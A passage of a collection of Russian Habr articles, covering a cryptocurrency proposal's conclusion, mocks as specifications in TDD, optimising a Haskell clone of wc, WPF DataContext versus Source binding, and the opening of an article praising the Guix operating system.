Общее кол-во денег в системе:
ОбщаяМассаДенег = 2050 + 270 = 2320
И так далее, увеличиваясь не на много за каждый цикл реализации проекта.
В итоге за первые 65536 циклов, по прикидкам, получится 10000-20000 новых единиц денег при начальной сумме 1000 единиц.
#### Что это все дает?
Мы уходим от недостатков существующей системы. А именно, в предлагаемой системе будет:
1. Обеспеченность денег. Деньги будут обеспечены реально выполненной полезной работой.
2. Распределенная эмиссия. Эмиссия чётко определяется алгоритмом, а не кучкой банкиров.
3. Прозрачность. Максимально возможное прозрачное распределение новых денег получаемых при эмиссии.
4. Безопасность. Никто и никогда не сможет заблокировать деньги на вашем счету.
5. Анонимность. При желании можно для передачи данных системы использовать I2P.
В следующей части я планирую предусмотреть все возможные проблемы системы. И, в частности, проблему адекватной оценки проектов сообществом. Для этого я предлагаю разделение всего общества на отдельные тематические сообщества и заложить более сложную формулу для расчета оценок. В частности, оценка проекта будет зависеть как от оценки проекта участниками проекта (теми кто вложился в проект), так и членами тематического сообщества (которые будут выступать в роли экспертов).
Продолжение: [КрияДеньги. Часть 4. Возможные проблемы и их решение](http://habrahabr.ru/post/179867/)
P.S.1. Иногда случается, что [доменное имя под интересную идею быстренько занимают киберсквотеры](http://habrahabr.ru/post/175385/#comment_6095813) (в комментарии по ссылке обратите внимание на дату публикации комментария и дату регистрации домена). Поэтому, для того чтобы такого не получилось, я решил заранее занять доменное имя kriyamoney в зонах com org и ru. Если у тебя есть желание развивать проект, написать программу-клиент (на подобие bitcoin-qt) а так же сделать сайт, то я с радостью передам тебе все три домена.
P.S.2. Предыдущие две статьи сократили мою карму вдвое. Если сообщество Хабра решит заминусовать мою Карму окончательно, то выложить следующие части я уже не смогу. Но, как говориться, если что-то должно произойти, то оно не может не произойти. Если будут вопросы или предложения, то мои контакты доступны в профиле.
|
https://habr.com/ru/post/179715/
| null |
ru
| null |
# Мок — это не костыль, мок — это спецификация
Среди множество псевдоидей, витающих вокруг ТДД, есть некоторое пренебрежение к test doubles, не в последнюю очередь связанное с их смешными названиями.
Назвали бы их как-нибудь гордо, а то мок, стаб, фейк — ощущение, что мы ничего особо не теряем, если этим не пользуемся. (В противоположность «интеграционным тестам» и «реальным зависимостям»).
Однако можно поменять точку зрения. В конце концов, мок не только и не столько подпирает зависимый компонент, сколько специфицирует поведение зависимости. А «реальная» имплементация — это некое текущее, возможно ошибочное воплощение нашей гордой идеи.
В этом смысле каждый раз, когда мы пишем
`when(mockDependency.method(inputValue)).thenReturn(returnValue)`,
мы документируем некоторое поведение компонента.
Отсюда — несколько следствий.
Мок-объекты плотно связаны с собственно спецификациями тестов, и по вокабуляру, и по смыслу. И то, и другое фокусирует нас на требованиях и сценариях, а не на особенностях текущей имплементации.
Нам немного мешает тут видеть спецификацию тот факт, что утверждения о мокируемом компоненте в случае использования фреймворков типа Mockito — распылены по классам-клиентам, и за ними трудно уследить. В этом смысле явные классы-наследники с предопределенным поведением предпочтительнее моков типа Mockito, потому что позволяют инкапсулировать сценарии и обозревать их одним взглядом.
Таким образом, к каждому классу OrderProvider добавляются классы-сценарии ValidOrderProviderStub, ExpiredOrderProviderStub, InvalidOrderIdException\_OrderProviderStub, OnlyOnceOrderProvider и так далее, которые могут находиться в одном пакете и использоваться всеми тестами сразу.
Это включает в себя Spy-классы, которые нетрудно имплементировать самому.
Кроме того, такой подход быстрее выполняется и работает без использования рефлексии.
Таким образом, при чтении кода мы можем сделать конвенцию, что наличие мока подтверждает возможность сценария, а его отсутствие запрещает наличие такого сценария. Если мы запретим клиентским классам писать mockito expectations, то в поисках NullOrderProvider выяснится, что подходящего мока не имеется, потому что null никогда не возвращается, и поэтому тестировать на этот сценарий нет смысла.
Если мок — это спецификация, то мок — отражение наших планов на компонент, и они могут быть и должны быть написаны вперед реализации.
Если мок — это спецификация, то она устроена иерархично и отражает поведение компонента в зависимости от определенных условий.
Таким образом, наши моки могут размножиться слишком сильно: безусловные моки, всегда возвращающие то же самое, а также моки с внутренними условиями, типа forIdOne\_returningOne\_forIdTwo\_ReturningTwo\_OrderProvider. Последнее перебор и следует просто создать FakeOrderProvider с соответствующим поведением, которое следует синхронизировать с реальной имплементацией.
Соответственно, если мок — это спецификация определенного поведения, то имплементация компонента — не что иное, как синхронизация поведения компонента с его моками.
И это, пожалуй, главный аргумент против моков — необходимость синхронизировать их поведение с текущей реальной имплементацией, об этом поговорим отдельно в следующий раз.
|
https://habr.com/ru/post/474484/
| null |
ru
| null |
# Побеждая C двадцатью строками Haskell: пишем свой wc
Привет, Хабр.
На днях [Siemargl](https://habr.com/ru/users/siemargl/) предложил мне перевести [любопытную статью](https://chrispenner.ca/posts/wc) о победе над юниксовым `wc` при помощи хаскеля. Переводить её я, конечно же, не буду, и по нескольким причинам:
* автор выжал из однопоточной версии далеко не всё, и однопоточная версия была существенно медленнее `wc`,
* в той статье для победы потребовалось воспользоваться многопоточностью (что само по себе *немного* читерство и победа скорее над здравым смыслом, а не над `wc`),
* для этого автору пришлось углубляться в ~~трихо~~монады и моноиды — не, это отличная иллюстрация прелестей моноидального мышления, но ИМХО немного перебор для такой задачи, тем более, что из-за этого
* код получился излишне объёмным,
* да и вообще, соревноваться с `wc`, которая имеет кучу опций и фич, реализуя её ну очень игрушечный аналог, вообще как-то *странно* и даже немного глуповато.
Тем не менее, заниматься *странными* делами — дело хорошее, поэтому сегодня мы попробуем исправить первый из пунктов выше и улучшим результат Криса (так звать автора исходной статьи).
Опять же, как мы выяснили в прошлый раз, код на C я писать не умею, так что писать его и не буду, а в качестве конкурента хаскель-реализации у меня (как и у Криса) выступает сишный `wc` из GNU Coreutils. Те чуваки уж точно на C писать умеют, коду этому не один десяток лет, да и о производительности они позаботились, судя по таким кусочкам:
```
/* If the average line length in the block is >= 15, then use
memchr for the next block, where system specific optimizations
may outweigh function call overhead.
FIXME: This line length was determined in 2015, on both
x86_64 and ppc64, but it's worth re-evaluating in future with
newer compilers, CPUs, or memchr() implementations etc. */
```
Спойлер: мы обгоним сишный `wc` примерно на порядок без всяких проблем, получив вполне идиоматичный код и потратив менее получаса на изменения и оптимизацию оригинального кода.
Условия эксперимента
--------------------
Итак, сначала обсудим экспериментальную установку.
### Данные
Я скачал [этот](http://eforexcel.com/wp/wp-content/uploads/2017/07/1500000%20Sales%20Records.zip) файл и склеил его с собой же, так что суммарный размер составляет примерно 1.8 гигабайта:
```
% for i in `seq 1 10`; cat part.txt >> test.txt
% du -sh test.txt
1.8G test.txt
```
Кстати, `test.txt` размещается на `tmpfs`-разделе, и оперативной памяти более чем достаточно, так что здесь нет никакого дискового IO.
### Железо и софт
Всё это счастье запускается под Gentoo Linux на Core i7 4770 с 32 гигабайтами оперативной памяти.
Для хаскель-кода используется ghc 8.8.2.
`wc` взят из coreutils 8.31, собранных gcc 9.2 с `-O2 -march=native`:
```
% wc --version
wc (GNU coreutils) 8.31
Packaged by Gentoo (8.31-r1 (p0))
```
Кстати, этот вот `-march=native` — лёгкая поблажка в пользу C, так как хаскель-код собирается без каких-либо аналогичных опций, что имеет свои преимущества: полученный бинарник сможет работать на любой x86\_64-машине, тогда как `wc` из coreutils может работать только на моём процессоре и более новых (если компилятор решил воспользоваться соответствующими SIMD-инструкциями, конечно же).
Кроме того, я пробовал собирать руками с `-O3` вместо `-O2` — результаты различаются несущественно, так что оставим дефолтовый `-O2`.
### Измерения
Измерения производятся просто, используя `time`. `time` показывает время и в юзерспейсе, и в ядре, но мы будем сравнивать только первое, так как
1. время в ядре с хорошей точностью и стабильностью равно примерно 0.3 секунды,
2. я не бенчмаркаю ядро, и меня интересует лишь то, сколько времени выполняется мой код.
Как и с любым другим полностью детерминированным бенчмарком, каждый исполняемый файл запускается несколько (в данном случае пять) раз, и записывается минимальное время из всех запусков.
Стартовая точка
---------------
От чего мы отталкиваемся? Запустим `wc`!
Так как мы далее будем игнорировать большую часть Unicode (и не рассматривать отдельно особые уникодовые символы), для честности и отсутствия претензий выставим C-локаль, запуская `wc` как `LANG=C LC_ALL=C wc /path/to/test.txt`. Время работы? 10.4 секунды. Это мы и возьмём за базовый результат.
Интересно, что с моей дефолтовой локалью (`ru_RU.UTF-8`) `wc` работает *быстрее* (7.20 секунд), но почти каждый, кому я показывал статью перед публикацией, сказал, что правильнее сравнивать с C-локалью — значит, так тому и быть.
Кроме того, если мы запустим только подсчёт строк (что всё равно заставит прогнать весь файл через шину памяти), то время работы окажется равным примерно 0.2 секунды — то есть, это далеко не IO-bound-задача.
Haskell
-------
Итак, с чем нам придётся работать?
Я возьму эту версию из поста Криса, попутно переименовав функцию и заменив имя `cs` на `bs` (раз уж мы считаем байты, а не символы):
```
import qualified Data.ByteString.Lazy.Char8 as BS
import Data.Char
wc :: BS.ByteString -> (Int, Int, Int)
wc s =
let (bs, ws, ls, _) = BS.foldl' go (0, 0, 0, False) s
in (bs, ws, ls)
where
go :: (Int, Int, Int, Bool) -> Char -> (Int, Int, Int, Bool)
go (!bs, !ws, !ls, !wasSpace) c =
let addLine | c == '\n' = 1
| otherwise = 0
addWord | wasSpace = 0
| isSpace c = 1
| otherwise = 0
in (bs + 1, ws + addWord, ls + addLine, isSpace c)
```
Да, у него есть более эффективные однопоточные версии, но вот этот конкретный код наиболее дружественен к последующим изменениям (да и он всё ещё достаточно краток и идиоматичен).
Как бы то ни было, Крис пишет, что эта версия работает в 9 раз медленнее `wc`. У меня эти результаты воспроизвести не удалось: на моей машине эта версия отрабатывает за 31.2 секунду, или **306%** от `wc`. Не 9 раз, конечно, но всё равно не фонтан.
Кроме того, эта версия имеет маленький баг (она не учитывает последнее слово, если файл не заканчивается переводом строки или иным пробельным символом), но я это починю потом, тем более, что фикс тривиален, и мы исправим эту проблему в финальной версии.
Так как улучшить эту версию?
### Записи спешат на помощь
Во-первых, я не люблю большие туплы, особенно большие туплы из элементов одинакового типа — мне с моим микроскопическим фокусом внимания слишком легко там сделать ошибку и перепутать элементы. Так что давайте начнём с замены тупла на полноценный тип данных:
```
{-# LANGUAGE Strict #-}
{-# LANGUAGE RecordWildCards #-}
import qualified Data.ByteString.Lazy.Char8 as BS
import Data.Char
data State = State
{ bs :: Int
, ws :: Int
, ls :: Int
, wasSpace :: Bool
}
wc :: BS.ByteString -> (Int, Int, Int)
wc s = (bs, ws, ls)
where
State { .. } = BS.foldl' go (State 0 0 0 False) s
go State { .. } c = State (bs + 1) (ws + addWord) (ls + addLine) (isSpace c)
where
addLine | c == '\n' = 1
| otherwise = 0
addWord | wasSpace = 0
| isSpace c = 1
| otherwise = 0
```
Мы больше не используем bang-паттерны, так как поля структуры по факту строгие из-за прагмы `{-# LANGUAGE Strict #-}`. Такая замена не должна особо повлиять на производительность, не так ли?
На самом деле нет, она влияет, и ещё как — код ускорился примерно в 4 раза! Эта версия работает 7.56 секунд, или **75%** от `wc`, так что мы *уже* более чем на уровне! Как так получилось?
На самом деле тут всё понятно, и Крис даже сам делает намёк на причины подобного поведения в исходном посте: как только мы определили запись со строгими полями, компилятору стало легче определить, что он мог бы распаковать значения этих полей. Так что по факту компилятор за нас сделал что-то вроде
```
data State = State
{ bs :: {-# UNPACK #-} !Int
, ws :: {-# UNPACK #-} !Int
, ls :: {-# UNPACK #-} !Int
, wasSpace :: !Bool
}
```
что избавляет нас от ещё одной аллокации и перехода по указателю для каждого `Int`-поля и даёт искомый выигрыш. И это несмотря на то, что аллокации в nursery area, то есть, в нулевом поколении почти всегда настолько же дешёвые, как аллокации на стеке — видимо, в данном случае роль лишнего перехода по указателю оказывается достаточно высокой.
### CSE
Заметим, что мы вычисляем `isSpace c` как минимум один раз для каждого символа, а чаще всего — два раза. Давайте удостоверимся, что мы здесь не делаем лишней работы, переписав внутреннюю функцию `go` как:
```
go State { .. } c = State (bs + 1) (ws + addWord) (ls + addLine) isSp
where
isSp = isSpace c
addLine | c == '\n' = 1
| otherwise = 0
addWord | wasSpace = 0
| isSp = 1
| otherwise = 0
```
Результат? Время работы уменьшилось более чем вдвое — до 2.93 секунд, или **28%** от `wc`.
Почему потребовалась эта оптимизация? Почему ghc не может сделать её за нас, учитывая, что эта оптимизация никогда не увеличивает объём выполняемой работы? Моё впечатление — `isSpace` инлайнится (со всеми вытекающими последующими оптимизациями) перед тем, как компилятор имеет шанс сделать common subexpression elimination.
### Опции компилятора и прагмы
Другое направление улучшения производительности — опции компилятора (можно ограничиться уровнем оптимизации и используемым кодогенератором). Кроме того, мы можем заставить компилятор заинлайнить `wc` и посмотреть, что получится. Тут нет какого-то хорошего системного подхода, поэтому мы просто перепробуем всевозможные комбинации из следующих вещей:
1. LLVM-кодогенератор (через `-fllvm`) — он скорее помогает на хардкорных числодробилках, но может оказаться полезным и здесь.
2. Уровень оптимизации (через `-O2`) — в большинстве случаев более простой `-O` достаточно хорош, и чаще всего разницы в производительности между ним и `-O2` особо нет, но почему бы не попробовать?
3. Явное требование инлайнинга функции (через прагму `{-# INLINE wc #-}`). Не думаю, что это как-то особо поможет в данном случае, так как функция вызывается лишь единожды, и потому оверхед от её вызова несущественен, да и трудно придумать какие-то дополнительные возможности для оптимизации после её инлайнинга. Но, опять же, попробуем и посмотрим, что получится.
Код функции я не показываю, так как во всех этих случаях он, как и следовало ожидать, не меняется.
Результаты в табличной форме:
| LLVM | `-O2` | Инлайнинг | Время, с | % времени `wc` |
| --- | --- | --- | --- | --- |
| | | | 2.93 | 28 |
| ✓ | | | 3.96 | 38 |
| ✓ | | ✓ | 2.61 | 26 |
| | | ✓ | 2.59 | 25 |
| | ✓ | | 2.23 | 21 |
| ✓ | ✓ | ✓ | 2.02 | 19 |
| ✓ | ✓ | | 2.01 | 19 |
| | ✓ | ✓ | 2.01 | 19 |
Можно сделать следующие выводы. Во-первых, инлайнинг таки помогает. Кроме того, `-O2` в данной задаче идёт на пользу, и очень сильно, а вот LLVM-бекенд либо никак не влияет, либо вообще делает хуже (когда используется сам по себе).
В любом случае, здесь вполне можно остановиться и разворачивать эту версию на прод. Это всё ещё вполне идиоматичный хаскель, и C уже вполне себе выглядит побеждённым (**19%**!). Если бы моей целью было показать элегантность функционального программирования вместе с его эффективностью, я бы показывал эту версию.
Но давайте продолжим.
### Больше распаковки
Улучшение, что мы получили от замены тупла на запись `State`, намекает на ещё одну возможность оптимизации.
Заметим, что тип `Bool` одного из полей в нашей записи не подлежит распаковке, так как он состоит из двух конструкторов. Что, если мы его заменим `Int`ом, где `1` будет обозначать `True`, а `0` — `False`? Конечно, немножко уродливо, но зато всё прямо как в С!
```
data State = State
{ bs :: Int
, ws :: Int
, ls :: Int
, wasSpace :: Int
}
wc :: BS.ByteString -> (Int, Int, Int)
wc s = (bs, ws, ls)
where
State { .. } = BS.foldl' go (State 0 0 0 0) s
go State { .. } c = State (bs + 1) (ws + addWord) (ls + addLine) isSp
where
isSp | isSpace c = 1
| otherwise = 0
addLine | c == '\n' = 1
| otherwise = 0
addWord | wasSpace == 1 = 0
| isSp == 1 = 1
| otherwise = 0
```
Само по себе время работы это не меняет (видимо, компилятор хорошо постарался над предыдущей версией с `Bool`), но это открывает дополнительные возможности для оптимизации. В частности, заметим, что выражение для `addWord` может быть преобразовано из guard'ов (которые по факту вложенные `if`) в единое арифметическое выражение:
```
addWord = (1 - wasSpace) * isSp
```
Доказательство эквивалентности предлагается читателю в качестве упражнения.
Каково влияние этой оптимизации? Ну, время работы уменьшилось весьма заметно, до 1.91 секунды, или **18%** от времени работы `wc`. Прелести кода без условных переходов, ага.
### Меньше юникода
Что, если мы хотим ещё чуточку быстрее?
Разумным компромиссом выглядит игнорирование пробельных символов за границами ASCII, что позволит отказаться от функции `isSpace`. Тем более, что в подавляющем большинстве практических приложений мне эти юникодовые пробельные символы и так не нужны. Кроме того, очень важно отметить, что это не помешает нам корректно считать количество юникодовых *символов*, как мы увидим во второй части статьи.
Кроме того, будем импортировать `Data.ByteString.Lazy` вместо `Data.ByteString.Lazy.Char8`, чтобы избежать переупаковки байтов в неизоморфные им `Char`.
Итого получаем:
```
{-# LANGUAGE Strict #-}
{-# LANGUAGE RecordWildCards #-}
module Data.WordCount where
import qualified Data.ByteString.Lazy as BS
data State = State
{ bs :: Int
, ws :: Int
, ls :: Int
, wasSpace :: Int
}
wc :: BS.ByteString -> (Int, Int, Int)
wc s = (bs, ws, ls)
where
State { .. } = BS.foldl' go (State 0 0 0 0) s
go State { .. } c = State (bs + 1) (ws + addWord) (ls + addLine) isSp
where
isSp | c == 32 || c - 9 <= 4 = 1
| otherwise = 0
addLine | c == 10 = 1
| otherwise = 0
addWord = (1 - wasSpace) * isSp
{-# INLINE wc #-}
```
Это изменение приводит к достаточно весомому ускорению, уменьшая время работы до 1.45 с, или 14% от времени работы `wc`.
Думаю, что это — лучшее, что можно получить малой кровью, так что давайте здесь и остановимся.
Исправление ошибки
------------------
Упомянутый ранее баг вызван тем, что мы не учитываем последнее слово, если за ним не следует пробельный символ. К счастью, исправить это легко: нужно просто учесть значение поля `wasSpace` и установить его начальное значение в единицу, например, таким образом:
```
wc s = (bs, ws + 1 - wasSpace, ls)
where
State { .. } = BS.foldl' go (State 0 0 0 1) s
...
```
Очевидно, что это никак не влияет на производительность.
Бонус: уменьшение времени ядра
------------------------------
Помните те 0.35 секунды в ядре, которые мы договорились не учитывать? А можно ли всё-таки их как-то тоже уменьшить?
Начнём с того, что я ещё не показывал, как именно используется функция `wc`. Пора исправиться:
```
main :: IO ()
main = do
[path] <- getArgs
contents <- BS.readFile path
print $ wc contents
```
`readFile` тратит довольно много циклов на ненужное копирование данных из ядра в пространство пользователя. Можно избавиться от этого оверхеда при помощи `mmap`. Возьмём пакет [bytestring-mmap](https://hackage.haskell.org/package/bytestring-mmap-0.2.2/docs/System-IO-Posix-MMap.html), предоставляющий `ByteString`'и поверх `mmap`-ированных файлов с нулевым копированием, и заменим `main` на
```
main :: IO ()
main = do
[path] <- getArgs
contents <- unsafeMMapFile path
print $ wc contents
```
Кроме того, так как `unsafeMMapFile` возвращает строгую `ByteString`, поменяем наш модуль с описанием функции `wc`, чтобы он импортировал строгие строки вместо ленивых. Конечно, вместо этого мы могли бы использовать вариант `unsafeMMapFile`, возвращающий ленивые строки, но для `mmap`-файлов это бессмысленно, лень и так обеспечивается ядром.
Результат — существенное уменьшение времени ядра, которое теперь составляет 0.04-0.06 секунды вместо 0.35 секунды ранее. Впрочем, это не повлияло сколь угодно значимым образом на время самой нашей программы в юзерспейсе.
Одно из стандартных возражений против строк поверх `mmap` в хаскеле в том, что они ломают ссылочную прозрачность: если файл на диске поменяется, то поменяется и содержимое строки, а это неприятно. Однако, в данном конкретном случае это неважно: мы наблюдаем строку всего один раз, поэтому у нас нет шанса отличить изменяемую во время выполнения строку от неизменяемой.
Итого
-----
Что в итоге у нас получилось?
Мы потратили менее получаса, чтобы улучшить [предыдущие результаты](https://chrispenner.ca/posts/wc) и почти на порядок обойти время работы сишной версии, которую наверняка видели сотни глаз серьёзных Unix-хакеров, и которая была довольно серьёзно оптимизирована. Мы сделали это при помощи пары десятков строк вполне себе идиоматичного хаскеля, с чистыми функциями, без монады `ST` и тому подобных вещей.
Однако, стоит ещё раз повторить, что это изначально довольно глупая затея: наша версия умеет делать куда меньше, чем умеет полноценный `wc`, и эти результаты не означают, что «готовая к продакшену» версия `wc` на хаскеле будет работать так же быстро, как то, что мы получили здесь. Эти результаты лишь доказывают, что это принципиально возможно.
Ну и, чтоб уж не томить, обсудим планы на будущее: в следующей статье мы займёмся чем-то существенно более интересным, где хаскель действительно будет сиять. Конкретнее, мы модуляризуем то, что у нас получилось сегодня, посмотрим, как сделать наш игрушечный `haskell wc` чуть менее игрушечным, а также оценим, как это повлияет на производительность.
|
https://habr.com/ru/post/489136/
| null |
ru
| null |
# WPF Binding: Как решить, что использовать: DataContext или Source?
Здравствуйте! Не так давно я написал свой первый перевод поста про WPF Binding из [блога Beatriz Cost'ы](http://www.beacosta.com/blog/). Он был принят достаточно хорошо, так что я принял решение регулярно, примерно раз в неделю (иногда, возможно, и чаще), переводить по одному посту из этого блога. В этот раз я решил перевести небольшую (на большие пока нет времени) статью, в которой рассказывается о том, в каких ситуациях лучше использовать DataContext, а в каких свойство Source.
Для начала следует сказать, что свойство DataContext — это одна из наиболее фундаментальных концепций в Data Binding'е.
Любому Binding'у нужно откуда-то получать информацию, и для того, чтобы указать ему источник данных, существует несколько способов. В этом посте я расскажу вам о том, как установить свойство Source непосредственно через объект Binding, так и о наследовании DataContext'а от ближайшего вышестоящего элемента в дереве элементов. Так же существует еще два способа. Это установка свойств ElementName и RelativeSource в Binding'e, но я оставлю их для следующих постов.
К примеру, давайте представим, что у нас есть следующий источник данных (класс GreekGod объявлен в коде):
> `1. <Window.Resources>
> 2. <local:GreekGod Name=”Zeus” Description=”Supreme God of the Olympians” RomanName=”Jupiter” x:Key=”zeus”/>
> 3. <local:GreekGod Name=”Poseidon” Description=”God of the sea, earthquakes and horses” RomanName=”Neptune” x:Key=”poseidon”/>
> 4. Window.Resources>
> 5.
> 6. <StackPanel DataContext=”{StaticResource poseidon}”>
> 7. <TextBlock TextContent=”{Binding Source={StaticResource zeus}, Path=Name}”/>
> 8. <TextBlock TextContent=”{Binding Path=Description}”/>
> 9. <TextBlock TextContent=”{Binding Path=RomanName}”/>
> 10. StackPanel>
> \* This source code was highlighted with Source Code Highlighter.`
Первый TextBlock наследует DataContext от своего предка — StackPanel, к тому же у него указано свойство Source в его Binding'е. В этой ситуации, свойство Source имеет приоритет. Из-за того, что TextBlock получает данные из свойства Name объекта с ключом «zeus», он отобразит слово «Zeus».
У второго TextBlock'а свойство Source не устанавливается напрямую в объекте Binding. Поэтому он наследует DataContext от вышестоящего StackPanel. Как вы могли догадаться, это укажет на свойство Description у ресурса с ключом «poseidon» и на элементе отобразиться надпись «God of the sea, earthquakes and horses».
С третьим TextBlock'ом все так же, как и со вторым. Он отобразит слово «Neptune».
Большинство использующих Data Binding программ, которые я видела, гораздо чаще используют DataContext, что гораздо сложнее, чем Source. Я рекомендую использовать DataContext только там, где вам надо связать более одного свойства от определенного источника. Когда же связывается только одно свойство, я всегда использую Source. Причина этого в том, что так проще для отладки — для того, чтобы понять, что происходит, я бы предпочла видеть всю информацию о Binding'е в одном месте, а не искать ее в ближайшем DataContext'е. В нашем маленьком примере это несложно, но в больших приложениях это сохранит вам немного времени.
[Здесь](http://www.beacosta.com/Zips/1DataContextSample.zip) вы можете найти проект для Visual Studio с кодом, который был использован в статье.
|
https://habr.com/ru/post/41481/
| null |
ru
| null |
# Guix — самая продвинутая операционная система
Операционные системы (ОС) — обширная тема. На протяжении десятилетий здесь доминировал один подход: Unix. Действительно, большинство современных систем, включая большинство дистрибутивов GNU/Linux, \*BSD и macOS, придерживаются архитектуры Unix. (Windows нет, но там почти ничего интересного по этой теме).
В 2000 году Роб Пайк выступил с докладом о том, почему [исследования системного ПО не релеванты](http://doc.cat-v.org/bell_labs/utah2000/utah2000.html). Из-за пессимизма или пренебрежения к сообществу он, кажется, полностью проигнорировал жалобы, собранные многими Unix-пользователями в книге [The Unix-Haters Handbook](https://web.mit.edu/~simsong/www/ugh.pdf) (1994). Книга умышленно саркастична, однако указывает на некоторые критические проблемы систем Unix — и они не решены до сих пор.
В 2006 году Элко Доситра опубликовал диссертацию [«Полностью функциональная модель развёртывания программного обеспечения»](https://nixos.org/~eelco/pubs/phd-thesis.pdf), где описан функциональный менеджер пакетов Nix. В 2008 году автор опубликовал [NixOS: полностью функциональный дистрибутив Linux](https://nixos.org/~eelco/pubs/nixos-icfp2008-final.pdf). В то время как NixOS повторно использует много свободного ПО для Unix-систем, она настолько отходит от дизайна и философии Unix, что вряд ли её можно назвать «системой Unix».
Nix — гигантский шаг вперёд в системной разработке. Эта ОС не только решила множество проблем Unix (включая критику из вышеупомянутого сборника), но также открыла путь для многих других функций и исследований, которые могут сыграть очень важную роль в наше время, когда надёжность и безопасность стали главной темой многих научных, общественных и политических дебатов.
Пайк ошибался. И это доказывает ещё один более общий момент: вероятно, разумнее воздержаться от объявления нерелевантности любого исследования, если ты не можешь доказать невозможность дальнейшего развития. И упомянутый доклад вряд ли можно считать математическим доказательством. Он только укрепил идею, что Unix «достаточно хорош» и что следует смириться с его особенностями и проблемами.
К счастью, этот ненужный пессимизм оказался недальновидным и не сохранился надолго: всего через пару лет система Nix доказала его неправоту.
Появление Guix
==============
[Guix](https://guix.info/) — это менеджер пакетов на Nix, а GuixSD —операционная система, эквивалент NixOS, которая стремится быть «полностью программируемой ОС». Действительно, здесь почти всё написано и настраивается в [Guile Scheme](https://gnu.org/software/guile/): от управления пакетами Guix до системы инициализации [GNU shepherd](https://www.gnu.org/software/shepherd/).
Guix значительно отличается от операционных систем Unix. Можете просмотреть документацию и оценить степень изменений:
* [Официальное руководство](https://www.gnu.org/software/guix/manual/) и [список функций](https://www.gnu.org/software/guix/manual/en/html_node/Features.html)
* [Руководство по пакетам Guix](https://www.gnu.org/software/guix/blog/2018/a-packaging-tutorial-for-guix/) представляет собой техническое введение (копия [здесь](https://ambrevar.xyz/guix-packaging/index.html)).
Преимущества Guix
=================
Преимущества Guix революционны до такой степени, что остальные ОС выглядят устаревшими системами по сравнению с ней.
Мои личные любимые функции:
* Неуязвимость системы: Guix ведёт историю всех изменений как на системном, так и на пользовательском уровне. Если обновление что-то сломает, всегда можно откатить. Это делает систему фактически *неуязвимой*.
* Целостность: поскольку конфигурация декларативна, это даёт пользователю или системному администратору полный контроль. На других вариантах Unix гораздо труднее сказать, когда изменяется какой-то случайный файл конфигурации.
* Полностью программируемая ОС: программируйте системные конфигурации и используйте систему контроля версий. Многие системные службы можно настроить в Guile Scheme: от правил udev до Xorg, PAM и т. д. Благодаря Guile, конфигурация может быть обусловлена оборудованием или даже именем хоста!
* Прямая замена другим (не таких хорошим) пакетным менеджерам: зачем отдельно управлять пакетами Emacs, Python или TeXlive, если есть единый интерфейс для всех (см. [ниже](#1))! Так проще писать и обслуживать декларации для профилей пользователей.
* Определения пакетов с помощью Guile: гораздо эффективнее разрабатывать определения пакетов в *массовом* порядке. Он выгодно заменяет такие концепции, как флаги Portage USE (см. [ниже](#2)).
* Несколько путей выдачи пакетов: У пакета Guix может иметь несколько «путей выдачи», которые служат для разделения различных компонентов (библиотеки, дополнительные инструменты, документация и т. д.). В других операционных системах (обычно Debian) сложнее угадать, какие пакеты подходят друг другу.
* Неразмножаемые входы: В терминологии Guix «входы» — это зависимости пакетов. Профиль пользователя и среда содержат только явно установленные пользователем пакеты и не обязательно их зависимости. Например, см. [inxi](https://smxi.org/docs/inxi.htm) — средство создания отчётов о системной информации: если меня интересуют только отчёты о системе/оборудовании inxi, необязательно добавлять в `PATH` два-три десятка дополнительных инструментов командной строки. Guix позволяет отображать в профиле пользователя только то, что ему действительно нужно.
* Окружения Guix: при запуске `guix environment SOME-PACKAGES` Guix устанавливает временное окружение, где представлены все требования для `SOME-PACKAGES`. Это можно использовать для простой настройки среды сборки для проекта, а также в иных целях (см. ниже). Одно замечательное качество — они позволяют запускать программы, не устанавливая их в профиль пользователя.
* Частичные обновления: поддерживаются на 100%. Это, возможно, основная причина поломок в плавающих релизах вроде Arch Linux и Gentoo: поскольку там одновременно поддерживается только несколько версий (обычно всего одна), то вся система должна обновляться целиком. Это означает больше трафика при каждом обновлении. С помощью Guix любой пакет обновляется по отдельности.
* Непрерывная интеграция или почему Guix может работать без мейнтейнеров пакетов: благодаря [воспроизводимым сборкам](https://reproducible-builds.org/) и поддержке частичных обновлений, если пакет работает в Guix, то он будет работать «всегда» и не сломается при следующем обновлении какой-то зависимости (точнее, если зависимость ломает пакет, то это тривиально исправляется, чтобы использовать правильную версию библиотеки). Таким образом, работу с пакетами можно перенести на «фермы сборки» (одна на [Hydra](https://hydra.gnu.org/jobset/gnu/master) из проекта Nix, другая на [Cuirass](https://ci.guix.info/)). Сравните это с большинством других сообществ GNU/Linux, которым для обновления тысяч пакетов требуются десятки мейнтейнеров. Такой подход не масштабируется: в итоге эти дистрибутивы стагнируют на паре тысяч пакетов. В Guix количество пакетов может спокойно расти, не опасаясь краха. В то же время контрибуторов можно использовать более эффективно.
В Guix так же просто выполняется сборка из исходников. На самом деле это не так важно для конечного пользователя: Guix может легко вернуться к сборке из исходников, если готовый пакет недоступен.
* `guix import` и `guix refresh`: автоматическое и рекурсивное создание или обновление определений пакета. Одновременно обрабатываются сотни определений. Такие функции подчёркивают преимущества реального языка программирования в ОС. Что является трудной задачей в большинстве операционных систем, относительно легко реализуется в Guix.
* Каналы Guix: одна из моих любимых функций! В Arch Linux или Gentoo требуется создавать локальный репозиторий. Поскольку они не поддерживают частичные обновления, пользователь должен время от времени заниматься некоторым обслуживанием (т. е. убедиться, что обновления зависимостей не нарушают пакеты). Каналы Guix выгодно заменяют оверлеи AUR из Arch Linux и Gentoo, позволяя любому распространять свои определения пакетов, например, из репозиториев Git. Опять же, это гарантирует полную прозрачность (откаты, история и т. д.).
* [Emacs-Guix](https://emacs-guix.gitlab.io/website/): насколько я знаю, Guix — единственный дистрибутив, который поставляется с самым мощным пользовательским интерфейсом Emacs!
* [Guix packs](https://www.gnu.org/software/guix/blog/2018/tarballs-the-ultimate-container-image-format/): реальная альтернатива контейнерам, таким как Docker. Большинство контейнерных систем страдают от критических проблем: они не воспроизводятся и в реальности представляют собой непрозрачные двоичные файлы, что [категорически неприемлемо](https://lwn.net/Articles/752982/) для пользователей, которые заботятся о доверии, безопасности и конфиденциальности. Напротив, Guix packs абсолютно ясны, воспроизводимы и прозрачны.
* `guix system vm` и `guix system disk-image`: Guix делает тривиальным воспроизведение всей текущей системы в виде live USB, внутри VM или на удалённой машине.
Guix по сравнению с конкурентами
================================
### Debian, Arch Linux и большинство других дистрибутивов GNU/Linux
